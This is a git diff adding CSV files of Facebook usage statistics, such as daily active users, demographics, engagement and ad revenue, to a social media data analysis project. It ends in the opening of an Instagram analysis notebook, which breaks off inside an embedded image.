ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB15.csv @@ -0,0 +1,9 @@ +Activity,Facebook,Instagram,Snapchat,Pinterest,Twitter +Viewing photos,65,77,64,59,42 +Watching videos,46,51,50,21,32 +Sharing content,57,45,46,21,32 +Sharing-content,43,31,45,12,20 +Networking,33,23,21,10,26 +News,38,18,17,9,56 +shopping-for-products,15,11,5,47,7 +Promote-business,7,9,6,5,7 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB16.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB16.csv new file mode 100644 index 00000000..23f526b8 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB16.csv @@ -0,0 +1,6 @@ +Activity,30-day_average,Male_users,Female_users +Pages liked*,1,1,1 +Posts liked,11,10,12 +Comments,5,4,7 +Shares,1,1,1 +Ads_clicked,11,9,14 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB17.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB17.csv new file mode 100644 index 00000000..aad4ac1b --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB17.csv @@ -0,0 +1,7 @@ +Age,Comments,Likes,Comments,Likes +18-24,5,12,5,12 +25-34,6,13,4,11 +35-44,9,15,5,11 +45-54,11,14,4,7 +55-64,10,11,4,5 +65+,7,9,3,5 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB18.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB18.csv new file mode 100644 index 00000000..a3671abc --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB18.csv @@ -0,0 +1,7 @@ +Age,Female,Male +18-24,10,8 +25-34,13,9 +35-44,18,12 +45-54,19,11 +55-64,19,11 +65+,14,9 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB19.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB19.csv new file mode 100644 index 00000000..603a9302 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB19.csv @@ -0,0 +1,5 @@ +Content type,Percentage of posts +Photos,35.6 +Videos,15.1 +Links,47.2 +Status,2.1 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB2.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB2.csv new file mode 100644 index 00000000..27f1b0a9 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB2.csv @@ -0,0 +1,41 @@ +Quarter,Daily_active_users(millions) +Q1 2011,372 +Q2 2011,417 +Q3 2011,457 +Q4 2011,483 +Q1 2012,526 +Q2 2012,552 +Q3 2012,584 +Q4 2012,618 +Q1 2013,665 +Q2 2013,699 +Q3 2013,728 +Q4 2013,757 +Q1 2014,802 +Q2 2014,829 +Q3 2014,864 +Q4 2014,890 +Q1 2015,936 +Q2 2015,968 +Q3 2015,1007 +Q4 2015,1038 +Q1 2016,1090 +Q2 2016,1128 +Q3 2016,1179 +Q4 2016,1227 +Q1 2017,1284 +Q2 2017,1325 +Q3 2017,1368 +Q4 2017,1401 +Q1 2018,1449 +Q2 2018,1471 +Q3 2018,1495 +Q4 2018,1523 +Q1 2019,1562 +Q2 2019,1587 +Q3 2019,1623 +Q4 2019,1657 +Q1 2020,1734 +Q2 2020,1785 +Q3 2020,1820 +Q4 2020,1845 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB20.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB20.csv new file mode 100644 index 00000000..dfb2c01d --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB20.csv @@ -0,0 +1,6 @@ +Content type,Post engagement rate +Total,0.11 +Photos,0.18 +Videos,0.13 +Links,0.05 +Status,0.19 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB21.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB21.csv new file mode 100644 index 00000000..779497bd --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB21.csv @@ -0,0 +1,9 @@ +Quarter,Hours watched(millions) +Q1 2019,165 +Q2 2019,198 +Q3 2019,269 +Q4 2019,460 +Q1 2020,554 +Q2 2020,830 +Q3 2020,815 +Q4 2020,901 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB22.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB22.csv new file mode 100644 index 00000000..6f42fe50 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB22.csv @@ -0,0 +1,9 @@ +Quarter,Hours streamed(millions) +Q1 2019,2 +Q2 2019,2 +Q3 2019,3 +Q4 2019,4 +Q1 2020,5 +Q2 2020,6 +Q3 2020,8 +Q4 2020,15 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB23.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB23.csv new file mode 100644 index 00000000..fb7b2769 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB23.csv @@ -0,0 +1,9 @@ +Quarter,Facebook,YouTube,Twitch,Mixer +Q1 2019,80,330,1300,40 +Q2 2019,90,340,1300,50 +Q3 2019,120,320,1300,50 +Q4 2019,210,430,1200,40 +Q1 2020,210,500,140,40 +Q2 2020,260,700,2300,50 +Q3 2020,370,760,2100,0 +Q4 2020,410,870,2500,0 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB24.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB24.csv new file mode 100644 index 00000000..cac789ed --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB24.csv @@ -0,0 +1,9 @@ +Platform,Percentage_marketers +Facebook,94 +Instagram,76 +LinkedIn,59 +Twitter,53 +YouTube,53 +Pinterest,25 +Snapchat,5 +TikTok,5 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB25.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB25.csv new file mode 100644 index 00000000..71570381 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB25.csv @@ -0,0 +1,8 @@ +Platform,Percentage_of_marketers +Facebook,59 +Instagram,17 +LinkedIn,14 +YouTube,5 +Twitter,3 +Pinterest,1 +Messenger Bots,1 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB26.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB26.csv new file mode 100644 index 00000000..9207eb21 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB26.csv @@ -0,0 +1,10 @@ +Platform,Percentage buying ads +Facebook,70 +Instagram,41 +Don’t use,26 +LinkedIn,15 +YouTube,14 +Messenger,9 +Twitter,8 +Pinterest,4 +Snapchat,1 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB27.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB27.csv new file mode 100644 index 00000000..aa9c95a7 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB27.csv @@ -0,0 +1,8 @@ +Platform,Q1 2019,Q2 2019,Q3 2019,Q4 2019,Q1 2020 +Facebook,49.9,49.5,53.5,50.5,42.6 +Twitter,7.7,7.8,7.6,17.3,24.5 +Pinterest,34.4,33,33.6,21.2,18.3 +Instagram,1.4,1.8,2.1,8.3,12.1 +YouTube,1.3,1.5,1.4,1.3,1.3 +Reddit,3.7,4.9,0.6,0.5,0.5 +Other,0.5,0.4,0.4,0.3,0.3 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB28.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB28.csv new file mode 100644 index 00000000..2b64921d --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB28.csv @@ -0,0 +1,8 @@ +Company,Ad sales(USD billion) +Facebook,84 +Google,147 +ByteDance*,37 +Alibaba,27 +Amazon,21.4 +Tencent,12.5 +Baidu,11 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB3.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB3.csv new file mode 100644 index 00000000..487f5569 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB3.csv @@ -0,0 +1,6 @@ +Month,Traffic(billions) +Oct_20,26.1 +Nov_20,25.5 +Dec_20,25.3 +Jan_21,23.1 +Feb_21,20.3 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB4.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB4.csv new file mode 100644 index 00000000..2cae5fa1 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB4.csv @@ -0,0 +1,4 @@ +Year,Downloads(millions) +2018,710 +2019,685 +2020,985 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB5.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB5.csv new file mode 100644 index 00000000..abe3d0b2 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB5.csv @@ -0,0 +1,17 @@ +Quarter,US & Canada,Europe,Asia_Pacific,Rest_of_World +Q1 2017,234,354,716,632 +Q2 2017,236,360,756,654 +Q3 2017,239,364,794,675 +Q4 2017,239,370,828,692 +Q1 2018,241,377,873,705 +Q2 2018,241,376,894,723 +Q3 2018,242,375,917,736 +Q4 2018,242,381,947,750 +Q1 2019,243,384,981,768 +Q2 2019,244,385,1003,782 +Q3 2019,247,387,1013,802 +Q4 2019,248,394,1038,817 +Q1 2020,253,406,1093,851 +Q2 2020,256,410,1142,892 +Q3 2020,255,413,1166,906 +Q4 2020,258,419,1199,921 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB6.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB6.csv new file mode 100644 index 00000000..68431ccf --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB6.csv @@ -0,0 +1,17 @@ +Quarter,US&Canada,Europe,Asia_Pacific,Rest_of_World +Q1 2017,182,267,427,408 +Q2 2017,183,271,453,419 +Q3 2017,185,274,476,433 +Q4 2017,184,277,499,441 +Q1 2018,185,282,529,453 +Q2 2018,185,279,546,461 +Q3 2018,185,278,561,470 +Q4 2018,186,282,577,478 +Q1 2019,186,286,600,490 +Q2 2019,187,286,615,499 +Q3 2019,189,288,627,519 +Q4 2019,190,294,641,532 +Q1 2020,195,305,678,556 +Q2 2020,198,305,699,583 +Q3 2020,196,305,727,593 +Q4 2020,195,308,744,598 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB7.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB7.csv new file mode 100644 index 00000000..d82f2d07 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB7.csv @@ -0,0 +1,21 @@ +Country,Users(millions) +India,320 +US,190 +Indonesia,140 +Brazil,130 +Mexico,93 +Philippines,83 +Vietnam,68 +Thailand,51 +Egypt,45 +Bangladesh,41 +Pakistan,40 +Turkey,38 +UK,38 +Colombia,36 +France,33 +Argentina,31 +Italy,31 +Germany,29 +Nigeria,29 +Myanmar,27 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB8.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB8.csv new file mode 100644 index 00000000..e8a5402c --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB8.csv @@ -0,0 +1,21 @@ +Language,Speakers(millions),(%)of_users +English,1100,50.4 +Spanish,340,15.6 +Hindi,180,8.2 +Arabic,160,7.3 +Indonesian,150,6.9 +Portuguese,150,6.9 +French,120,5.5 +Filipino,75,3.4 +Vietnamese,72,3.3 +Bengali,71,3.3 +Javanese,58,2.7 +Thai,55,2.5 +Turkish,41,1.9 +Urdu,40,1.8 +Russian,36,1.6 +Italian,34,1.6 +German,33,1.5 +Mandarin,29,1.3 +Polish,20,0.9 +Japanese,18,0.8 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB9.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB9.csv new file mode 100644 index 00000000..03fc6b58 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB9.csv @@ -0,0 +1,9 @@ +Age,Female,Male,All +13-17,2.63,35.9 +18-24,9.6,14.2,23.8 +25-34,12.8,18.8,31.6 +35-44,7.3,9.6,16.9 +45-54,5,5.5,10.5 +55-64,3.3,3.1,6.4 +65+,2.6,2.3,4.9 +All ages,43.2,56.8,0 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Instagram Data Analysis.ipynb b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Instagram Data Analysis.ipynb new file mode 100644 index 00000000..732ef083 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Instagram Data Analysis.ipynb @@ -0,0 +1,1998 @@ +{ + "cells": [ + { + "attachments": { + "image-2.png": { + "image/png": "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